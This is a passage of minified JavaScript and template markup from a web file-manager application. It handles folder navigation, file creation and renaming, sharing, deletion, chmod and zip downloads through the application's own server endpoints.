\n {{if list.isParent&&list.is_readable}} {{/if}}\n \n
\n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n
\n
\n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}} \n {{else}}\n {{list.name}}\n {{/if}}\n \n
\n
{{LNG.folder}}
\n
\n
{{list.mtime}}
\n
\n
\n{{if list.isParent&&list.is_readable}}\n
\n{{/if}}\n\n\n{{else if type=='list_split_folder'}}\n\n
\n {{if list.meta_info}}\n
{{list.meta_info |core.icon}}
\n {{/if}}\n
\n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n
\n
\n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}} \n {{else}}\n {{list.name}}\n {{/if}}\n \n
\n {{if list.is_readable && typeof(list.menuType)==\"undefined\"}}\n \n {{/if}}\n \n
\n
\n\n\n{{else if type=='icon_file'}}\n\n {{if window.inArray(core.filetype['image'],list.ext)}}\n
\n {{if window.G.sid}}\n
\n {{else}}\n
\n {{/if}}\n
\n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
\n {{list.name.replace('.oexe','') |core.pathExt|core.icon}}\n
\n {{else if list.content.search('ui.path.list') == 0}}\n
\n {{list.icon |core.icon}}\n
\n {{else}}\n
{{\"folder\" |core.icon}}
\n {{/if}}\n
{{'app_link' |core.icon}}
\n {{else}}\n
\n {{if list.ext=='oexe'}}\n {{oexe_icon |core.iconSrc}}\n {{else}}\n {{list.ext |core.icon}}\n {{/if}}\n
\n {{/if}}\n {{if list.meta_info}}\n
{{list.meta_info |core.icon}}
\n {{/if}}\n
\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}} \n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
\n
\n\n\n{{else if type=='list_file'}}\n\n
\n
\n {{if window.inArray(core.filetype['image'],list.ext)}}\n
\n {{if window.G.sid}}\n
\n {{else}}\n
\n {{/if}}\n
\n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
\n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n
\n {{else if list.content.search('ui.path.list') == 0}}\n
\n {{list.icon |core.icon}}\n
\n {{else}}\n
{{\"folder\" |core.iconSmall}}
\n {{/if}}\n
{{'app_link' |core.icon}}
\n {{else}}\n
\n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n
\n {{/if}}\n {{if list.meta_info}}\n
{{list.meta_info |core.icon}}
\n {{/if}}\n
\n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}} \n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
\n
{{list.ext |window.htmlEncode}} {{LNG.file}}
\n
{{list.size |core.fileSize}}
\n
{{list.mtime}}
\n
\n
\n\n\n{{else if type=='list_split_file'}}\n\n
\n {{if window.inArray(core.filetype['image'],list.ext)}}\n
\n {{if window.G.sid}}\n
\n {{else}}\n
\n {{/if}}\n
\n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
\n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n
\n {{else if list.content.search('ui.path.list') == 0}}\n
\n {{list.icon |core.icon}}\n
\n {{else}}\n
{{\"folder\" |core.iconSmall}}
\n {{/if}}\n
{{'app_link' |core.icon}}
\n {{else}}\n
\n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n
\n {{/if}}\n\n {{if list.meta_info}}\n
{{list.meta_info |core.icon}}
\n {{/if}}\n
\n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}} \n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
\n
\n{{/if}}\n\n"),define("app/src/explorer/path",["../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){var i=e("../../common/pathOperate"),t=e("../../common/pathOpen"),a=void 0;
-ui.pathOpen=t;var n=function(){if(G.json_data.info.path_type==G.KOD_USER_RECYCLE||G.json_data.info.path_type==G.KOD_USER_SHARE)return!0;var e=ui.fileLight.fileListSelect();return e.hasClass("systemBox")?(Tips.tips(LNG.path_can_not_action,"warning"),!1):!0},o=function(e,i,t,a){if(void 0!=e){if("explorer"!=Config.pageApp)return core.explorer(e),void 0;if(e==G.this_path)return void 0!=i&&""!=i&&Tips.tips(LNG.path_is_current,"info"),void 0;if(G.this_path=e.replace(/\\/g,"/"),G.this_path=e.replace(/\/+/g,"/"),"/"!=G.this_path.substr(G.this_path.length-1)&&(G.this_path+="/"),$(".dialog_file_upload").length>0){var n="hidden"==$(".dialog_file_upload").css("visibility");core.upload(),n&&$(".dialog_file_upload").css("visibility","hidden")}if(G.sid!==void 0&&(window.location.href="#"+urlEncode(G.this_path)),core.playSound("folder_open"),ui.tree.setSelect(G.this_path),a||ui.path.history.add(G.this_path),"list_split"==G.user_config.list_type){var o=$(".split_box .file[data-path="+pathHashEncode(G.this_path)+"]");if(0!=o.length&&0!=o.find(".children_more_cert").length)return o.click(),void 0;$(".fileList_list_split .split_box").remove()}ui.f5Callback(function(){"function"==typeof t&&t()})}},s=function(){var e=[],i=60,t=0,a=function(a){var n=e.length-1;return n==t&&e[n]==a?r():(t!=n&&(e=e.slice(0,t+1)),e[e.length-1]!=a&&e.push(a),e.length>=i&&(e=e.slice(1)),t=e.length-1,r(),void 0)},n=function(){e.length-1>=t+1&&(o(e[++t],"","",!0),r())},s=function(){t-1>=0&&(o(e[--t],"","",!0),r())},r=function(){var i="disable",a=e.length-1;$("#history_next").addClass(i),$("#history_back").addClass(i),(0!=t||0!=a)&&(t>0&&a>=t&&$("#history_back").removeClass(i),t>=0&&t!=a&&$("#history_next").removeClass(i))};return{add:a,back:s,next:n,list:function(){return e}}}(),r=function(e){if(void 0!=e){"string"==typeof e&&(e=[e]);for(var i=0;e.length>i;i++)e[i]=trim(e[i],"/");ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(){var i=trim(ui.fileLight.path($(this)),"/");i&&-1!=$.inArray(i,e)&&$(this).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView()}},l=function(e){if(""!=e){if(e=e.toLowerCase(),void 0==a||G.this_path!=a.path||e!=a.key){var i=[];ui.fileLight.fileListAll().each(function(){var t=ui.fileLight.name($(this)),a=ui.fileLight.path($(this));t&&e==t.substring(0,e.length).toLowerCase()&&i.push(a)}),a={key:e,path:G.this_path,index:0,list:i}}0!=a.list.length&&(r(a.list[a.index++]),a.index==a.list.length&&(a.index=0))}},c=function(e){return""==e?(ui.fileLight.clear(),void 0):(ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(i){var t=ui.fileLight.name($(this));-1!=t.toLowerCase().indexOf(e)&&$(ui.fileLight.fileListAll()).eq(i).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0)},d=function(e,i){var t=G.this_path+e;return void 0==i&&(t+="/"),0!=$('.bodymain .file[data-path="'+pathHashEncode(t)+'"]').length?!0:!1},p=function(e,i){var t,a=0,n="."+i;if(void 0==i&&(n=""),!d(e+n,i))return e+n;for(t=e+"(0)"+n;d(t,i);)a++,t=e+"("+a+")"+n;return t},u=function(e,t){var a,n=0,o=G.json_data.folderlist,s=G.json_data.filelist,r=o,l=G.user_config.list_sort_field,c=G.user_config.list_sort_order,d={name:e,size:0,ext:t,mtime:date("Y/m/d H:i:s",time())};for("desktop"==Config.pageApp&&(n+=$(".menuDefault").length+1),"file"==t?(d.ext=core.pathExt(e),r=s,"up"==c&&(n+=o.length)):"down"==c&&(n+=s.length),a=0;r.length>a;a++)if("down"==c){if(-1==i.strSort(r[a][l],d[l]))break}else if(-1!=i.strSort(r[a][l],d[l]))break;return a+n-1},f=function(t,a,n){ui.fileLight.clear();var o=u(a,t),s=$(Config.FileBoxSelector);"list_split"==G.user_config.list_type&&(s=$(".split_box.split_select").find(".content"));var r=e("./tpl/file_create.html"),l=template.compile(r),c=l({type:t,newname:a,ext:n,list_type:G.user_config.list_type});if(-1==o||0==s.find(".file").length)s.html(c+s.html());else{var p=s.find(".file:eq("+o+")");0==p.length&&(p=s.find(".file").last()),"list_split"==G.user_config.list_type&&(p=$(".split_box.split_select .file").last()),$(c).insertAfter(p)}var f=$(".textarea .newfile"),h=a.length;"folder"!=t&&-1!=a.indexOf(".")&&(h=a.length-n.length-1),f.textSelect(0,h),"list_split"==G.user_config.list_type&&f.css("width",f.parents(".filename").width()-40),"icon"==G.user_config.list_type?($("#makefile").css({height:$("#makefile").width()+15,"margin-left":"3px",transition:"none"}),$("#makefile .textarea").css("margin-top","-13px")):$("#makefile .x-item-file").addClass("small"),"desktop"==Config.pageApp&&ui.resetDesktopIcon();var v=function(e){if(""==trim(e))return $("#makefile").remove(),Tips.tips(LNG.error,"warning"),void 0;if(d(e,n))$("#makefile").remove(),Tips.tips(LNG.path_exists,"warning");else{var a=G.this_path;"list_split"==G.user_config.list_type&&(a=ui.fileLight.path($(".file_icon_edit").parents(".split_box"))),"folder"==t?i.newFolder(a+e,m):i.newFile(a+e,m)}};ui.fileLight.setInView($(".fileContiner .file_icon_edit")),f.focus().autoTextarea(),f.unbind("keydown").keydown(function(e){13==e.keyCode&&(stopPP(e),e.preventDefault(),v(f.attr("value"))),27==e.keyCode&&$("#makefile").remove()}).unbind("blur").blur(function(){v(f.attr("value"))})},h=function(){var e="",t=ui.fileLight.fileListSelect(),a=ui.fileLight.name(t),o=core.pathFather(ui.fileLight.path(t)),s=ui.fileLight.type(t);if(1==t.length&&n()){if(t.hasClass("menuSharePath"))return ui.path.shareEdit(),void 0;var r=htmlEncode(rtrim(a,".oexe")),l=" ";"icon"==G.user_config.list_type&&(l="",t.css({height:t.height()})),$(t).addClass("file_icon_edit").find(".title").html(""+l+"
");var c=$("#pathRenameTextarea");"list_split"==G.user_config.list_type&&c.css({width:c.parents(".filename").width()-32,height:c.parents(".filename").height()+1});var d=a.length;"folder"!=s&&-1!=a.indexOf(".")&&(d=a.length-s.length-1),s||0!=a.indexOf(".")?c.textSelect(0,d):c.textSelect(0,a.length);var p=function(n){if("oexe"==s&&(n+=".oexe"),n!=a)e=o+a,n=o+n,i.rname(e,n,m);else{var r=a;".oexe"==r.substr(-5)&&(r=r.substr(0,r.length-5)),$(t).removeClass("file_icon_edit").find(".title").html(htmlEncode(r))}};c.focus().autoTextarea(),c.keydown(function(e){13==e.keyCode&&(e.preventDefault(),stopPP(e),p(c.attr("value"))),27==e.keyCode&&("oexe"==s&&(a=a.replace(".oexe","")),$(t).removeClass("file_icon_edit").find(".title").html(a))}).unbind("blur").blur(function(){p(c.val())})}},m=function(e){ui.fileLight.clear(),ui.f5Callback(function(){r(e),"explorer"==Config.pageApp&&ui.tree.checkIfChange(G.this_path)})},v=function(e){if(e){var i=[];if(0==ui.fileLight.fileListSelect().length)return i;ui.fileLight.fileListSelect().each(function(){var e=ui.fileLight.path($(this)),t="folder"==ui.fileLight.type($(this))?"folder":"file";i.push({path:e,type:t})});for(var t="",a=[],n=0;i.length>n;n++){var o=i[n].path;(""==t||0!=o.indexOf(t))&&(t=o,a.push(i[n]))}return a}if(1!=ui.fileLight.fileListSelect().length)return{path:"",type:""};var s=ui.fileLight.fileListSelect(),r=ui.fileLight.path(s),l=ui.fileLight.type(s);return{path:r,type:l}},_=function(e,i){for(var t in G.json_data)if("filelist"==t||"folderlist"==t)for(var a=0;G.json_data[t].length>a;a++)if(G.json_data[t][a][e]==i)return G.json_data[t][a]};return{makeParam:v,history:s,getJsondataCell:_,checkSystemPath:n,appEdit:function(e){if(e)i.appEdit(0,0,"user_add");else{var t=ui.fileLight.fileListSelect().attr("data-app"),a=jsonDecode(base64Decode(t));a.path=ui.fileLight.path(ui.fileLight.fileListSelect()),i.appEdit(a)}},appList:function(){i.appList(v().path)},appInstall:function(){i.appInstall(v().path)},openEditor:function(){t.openEditor(v().path)},openWindow:function(){var e=v();return"folder"==e.type&&-1!=core.path2url(e.path).search("explorer/fileProxy")?(Tips.tips(LNG.path_can_not_action,!1),void 0):(t.openWindow(e.path),void 0)},open:function(e){if("editor"==Config.pageApp)return t.open(e),void 0;if(void 0!=e)return t.open(e),void 0;if(0!=ui.fileLight.fileListSelect().length){var i=v(),a=ui.fileLight.fileListSelect();if(inArray(core.filetype.image,i.type))return ui.picasa.initData(),ui.picasa.play($(a).find(".picasaImage")),void 0;if(0!=$(a).find(".file_not_exists").length)return Tips.tips(LNG.share_error_path,!1),void 0;if("oexe"==i.type){var n=a.attr("data-app");i.path=jsonDecode(base64Decode(n))}("list_split"!=G.user_config.list_type||"folder"!=i.type)&&t.open(i.path,i.type)}},play:function(){if(!(1>ui.fileLight.fileListSelect().length)){var e=[];ui.fileLight.fileListSelect().each(function(){var i=ui.fileLight.type($(this));if(inArray(core.filetype.music,i)||inArray(core.filetype.movie,i)){var t=core.path2url(ui.fileLight.path($(this)),!1);e.push(t)}}),t.play(e,"music")}},pathOperate:i,share:function(){i.share(v())},setBackground:function(){var e=core.path2url(v().path);ShareData.frameTop("",function(i){i.ui.setWall(e)}),ui.setWall(e),i.setBackground(e)},createLink:function(e){var t=v(),a=ui.fileLight.fileListSelect().last();t.name=trim(a.find(".filename").text()),i.createLink(t.path,t.name,t.type,e,m)},createProject:function(){i.createProject(v().path,m)},download:function(){var e=v(!0);1==e.length&&"file"==e[0].type?t.download(v().path):i.zipDownload(e)},shareEdit:function(){var e=_("path",v().path);try{var t=G.json_data.share_list[e.sid];i.shareBox(t)}catch(a){}},shareOpenWindow:function(){var e=_("path",v().path),i=e.type;"folder"==e.type&&(i=1==e.code_read?"code_read":"folder");var t="./index.php?share/"+i+"&user="+G.json_data.info.id+"&sid="+e.sid;window.open(t)},shareOpenPath:function(){var e=v(),i=_("path",e.path);if(!i||!G.json_data.share_list)return t.open(e.path,e.type),void 0;var a=G.json_data.share_list[i.sid],n=core.pathFather(a.path),o=core.pathThis(a.path);"folder"==a.type?ui.path.list(a.path,""):ui.path.list(n,"",function(){r(o)})},explorer:function(){core.explorer(v().path)},explorerNew:function(){window.open("index.php?/explorer&path="+v().path)},openProject:function(){core.explorerCode(v().path)},search:function(){core.search("",v().path)},fav:function(){var e=v(),t=ui.fileLight.fileListSelect().last();e.name=trim(t.find(".filename").text()),i.fav(e)},recycleClear:function(){i.remove([{type:"recycle_clear",path:""}],function(){ui.f5()})},remove:function(e){if(n()){var t=v(!0);G.json_data.info&&G.json_data.info.path_type==G.KOD_USER_SHARE&&G.json_data.info.id==G.user_id&&-1==trim(G.this_path,"/").indexOf("/")&&$.each(t,function(e){var i=_("path",t[e].path);void 0!=i&&(t[e].type="share",t[e].path=i.sid)}),i.remove(t,m,e)}},favRemove:function(){var e=$(".file.select .filename");e.each(function(t){var a=trim($(this).text());t!=e.length-1?i.favRemove(a,"",!0):i.favRemove(a,function(e){Tips.tips(e),ui.tree.refreshFav()},!0)})},copy:function(){n()&&i.copy(v(!0))},cute:function(){n()&&i.cute(v(!0),ui.f5)},zip:function(){i.zip(v(!0),m)},unZip:function(e){n()&&i.unZip(v().path,ui.f5,e)},cuteDrag:function(e){i.cuteDrag(v(!0),e,m)},copyDrag:function(e,t){i.copyDrag(v(!0),e,m,t)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(v(!0),e,m,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(v(!0),e,m)})},info:function(){i.info(v(!0))},past:function(){var e=G.this_path;"list_split"==G.user_config.list_type&&($containBox=$(".split_box.split_select"),1==$containBox.length&&(e=ui.fileLight.path($containBox))),i.past(e,m)},newFile:function(e){void 0==e&&(e="txt"),f("file",p("newfile",e),e)},newFolder:function(){f("folder",p(LNG.newfolder),"")},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+v().path;window.open(e)},rname:h,list:o,setSearchByStr:c,setSelectByChar:l,setSelectByFilename:r,clipboard:i.clipboard}}),define("app/common/pathOperate",[],function(e){var i=["/","\\",":","*","?",'"',"<",">","|"],t=["/","\\"],a=function(e){var a=function(e,i){for(var t=i.length,a=0;t>a;a++)if(e.indexOf(i[a])>0)return!0;return!1},n=t;return G.system_os&&"windows"==G.system_os&&(n=i),a(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var i=[],t=function(e){return e.replace(/"/g,'\\\\"')},a=0;e.length>a;a++)i.push({type:t(e[a].type),path:urlEncode(t(e[a].path))});return"list="+jsonEncode(i)},o=function(e,i){for(var t="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,i.length)>a;a++)if(e.charAt(a)!=i.charAt(a)){var n=t.indexOf(e.charAt(a)),o=t.indexOf(i.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>i.charAt(a)?1:e.charAt(a)
a;a++)if(e.charAt(a)!=i.charAt(a)||isNaN(parseInt(e.charAt(a)))){e=e.substr(a),i=i.substr(a);break}var n=/(-?[0-9\.]+)/g,s=(""+e).toLowerCase()||"",r=(""+i).toLowerCase()||"",l=String.fromCharCode(0),c=s.replace(n,l+"$1"+l).split(l),d=r.replace(n,l+"$1"+l).split(l),p=new Date(s).getTime(),u=p?new Date(r).getTime():null;if(u){if(u>p)return-1;if(p>u)return 1}for(var f=0,h=Math.max(c.length,d.length);h>f;f++)if(oFxNcL=parseFloat(c[f])||c[f],oFyNcL=parseFloat(d[f])||d[f],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var m=o(oFxNcL,oFyNcL);if(0!=m)return m}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,i){if(e){var t=core.pathThis(e);return a(t)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&i(e.info)}}),void 0):("function"==typeof i&&i(),void 0)}},l=function(e,i){if(e){var t=core.pathThis(e);return a(t)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof i&&Tips.loading()},error:core.ajaxError,success:function(e){"function"==typeof i&&(Tips.close(e),i(e.info))}}),void 0):("function"==typeof i&&i(),void 0)}},c=function(e,i,t){return e&&i&&e!=i?a(core.pathThis(i))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(i),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0):void 0},d=function(e,i,t){if(!(1>e.length)){var a=LNG.remove_title,o=LNG.remove_info,s="index.php?explorer/pathDelete",r=n(e);"share"==e[0].type&&(o=LNG.share_remove_tips,s="index.php?userShare/del",a=LNG.share_remove),(G.this_path==G.USER_RECYCLE||"recycle_clear"==e[0].type)&&(o=LNG.recycle_clear_info,s="index.php?explorer/pathDeleteRecycle",a=LNG.recycle_clear,"recycle_clear"==e[0].type&&(r={})),e.length>1&&(o+=' ... '+e.length+" ");var l=function(){$.ajax({url:s,type:"POST",dataType:"json",data:r,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(t){if(Tips.close(t),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=t.info;var n=$.dialog.list.share_dialog;void 0!=n&&n.close()}a==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof i&&i(t)}})};t===!0?l():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:a,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:o,ok:l,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},u=function(e){var i=e.path,t="folder"==e.type?"folder":"file";1>i.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(i),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)Tips.tips("该分享已存在",!0),f(e.data);else{G.self_share=e.info;var a={path:i,type:t,name:core.pathThis(i)};h(a,function(e){e.code?(G.self_share=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content_info input[name=type]").val(t),$(".content_info input[name=path]").val(i),$(".content_info input[name=name]").val(core.pathThis(i)+"(1)"),"file"==t&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},f=function(i,t){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(i),void 0!=t&&t()})},h=function(e,i){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=i&&i(e)}})},m=function(i){var t=e("./tpl/share.html"),a=template.compile(t),n=a({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),i=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var t=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(t),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:i.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var i=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(i=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+i}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),t=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var i=e.val().length;if($.browser.msie){var a=t.createTextRange();a.moveEnd("character",-t.value.length),a.moveEnd("character",i),a.moveStart("character",0),a.select()}else t.setSelectionRange(0,i)})};s(i),r()},v=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},_=function(e,i,t,a,n){if(!(1>e.length)){var o,s=G.myhome+"/desktop/";a&&(s=core.pathFather(e)),o="folder"==t?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+i+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=t),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},g=function(e,i){if(!(1>e.length)){var t=core.pathThis(e),a=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+t+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof i&&i(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,i){e&&(Tips.loading(LNG.moving),setTimeout(function(){var t="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:t,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof i&&i(e.info)}})},50))},x=function(i){var t={};t.file_info=e("./tpl/fileinfo/file_info.html"),t.path_info=e("./tpl/fileinfo/path_info.html"),t.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>i.length&&(i=[{path:G.this_path,type:"folder"}]);var a="info";1==i.length&&(a="file"==i[0].type?core.pathExt(i[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(i),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="path_info_more",o=LNG.info;1==i.length&&(n="folder"==i[0].type?"path_info":"file_info",o=core.pathThis(i[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(t[n]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(a),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),k(r,i)})},k=function(e,i){var t=$("."+e);t.find(".open_window").bind("click",function(){window.open(t.find("input.download_url").val())}),t.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(t.find("input.download_url").val(),t.find(".qrcode").get(0))});var a=t.find(".file_md5_loading");if(1==a.length){var i=n(i);i+="&get_md5=1",core.fileInfo(i,function(e){a.removeClass("file_md5_loading"),e.code?a.html(e.data.file_md5):a.html(LNG.error)})}var o=t.find("input.download_url"),s=o.get(0);o.unbind("hover click").bind("hover click",function(){$(this).focus();var e=o.val().length;if($.browser.msie){var i=s.createTextRange();i.moveEnd("character",-s.value.length),i.moveEnd("character",e),i.moveStart("character",0),i.select()}else s.setSelectionRange(0,e)}),t.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),t=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:n(i),beforeSend:function(){t.text(LNG.loading)},error:function(){t.text(LNG.button_save)},success:function(e){t.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){t.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var i="index.php?explorer/zipDownload";G.share_page!==void 0&&(i="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var i="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 